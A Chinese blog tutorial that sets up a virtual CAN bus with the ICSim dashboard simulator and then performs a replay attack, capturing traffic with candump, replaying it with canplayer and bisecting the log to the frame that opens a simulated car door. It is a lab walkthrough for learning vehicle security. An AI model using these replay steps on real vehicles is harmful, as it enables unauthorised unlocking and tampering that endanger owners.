CAN模拟环境搭建到重放攻击

车联网安全
2023-03-30 15:25
33089

环境搭建

  • ICSim(仪表盘模拟器)
  • Socketcand(CAN网络)
  • Kayak(一款基于SocketCAN的CAN总线分析工具)

ICSim安装

# 安装依赖
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
# 下载ICSim
git clone https://github.com/zombieCraig/ICSim.git
# 编译安装
cd ICSim/
sudo make

socketcand安装

# 下载socketcand
git clone https://github.com/linux-can/socketcand.git
cd socketcand# 获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in# 编译安装
autoconf
./configure
make clean
make
sudo make install

Kayak安装

# 下载
git clone https://github.com/dschanoeh/Kayak.git
# 安装jdk
sudo apt-get install openjdk-8-jdk
# 安装
cd Kayak
mvn clean package

Kayak安装时间会很久,等待许久之后,终于安装成功:

启动模拟器

# 设置vcan(虚拟CAN)接口
sudo modprobe can
sudo modprobe vcan
# ip link 命令启动 can 接口
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

cd Icsim/
# 打开仪表盘模拟器
./icsim vcan0
# 打开仪表盘控制器
./controls vcan0

光标放在控制器界面上,就可以对模拟器进行操作:

功能控制按钮
转向键盘左右
速度键盘上下
开/关左前车门右shift/左shit+A
开/关右前车门右shift/左shit+B
开/关左后车门右shift/左shit+X
开/关右后车门右shift/左shit+Y
开启全部车门左shift+右shift
关闭全部车门右shift+左shift

canplayer重放攻击

原理就是利用candump监听模拟器操作的数据包,再利用canplayer集合数据包重新回放一遍监听到的操作。

首先candump vcan0 -l开启监听:

root@ubuntu:~# candump vcan0 -l
Disabled standard output while logging.

Enabling Logfile 'candump-2023-03-20_135818.log'

candump运行之后一直监听数据。

这时在模拟器模拟操作右Shift+A开启左前侧车门:

然后终端退出candump监听,查看candump-2023-03-20_135818.log,会发现有很多数据:

将车门闭合后,运行canplayer -I candump-2023-03-20_135818.log,观察模拟器状态,会发现模拟器自动将车门开启:

接着使用二分法对数据包进行分析,找出具体哪个包可以使车门打开:

# 读取test.log文件行数
with open('candump.log', 'r') as f:
    lines = f.readlines()
num_lines = len(lines)

# 使用二分法将内容分别输出到两个新文件
midpoint = num_lines // 2
with open('file1.log', 'w') as f1, open('file2.log', 'w') as f2:
    for i, line in enumerate(lines):
        if i < midpoint:
            f1.write(line)
        else:
            f2.write(line)

二分法就是将数据分成两半,分别对数据进行测试,然后对模拟器有反应的一半再继续进行分裂,循环往复。

最终能确定使车门打开的数据包为:(1679293970.363015) vcan0 19B#00000E000000

参考

分享到

参与评论

0 / 200

全部评论 1

classic的头像
太基础了建议写深一点更容易入门
2023-05-05 15:03
投稿
签到
联系我们
关于我们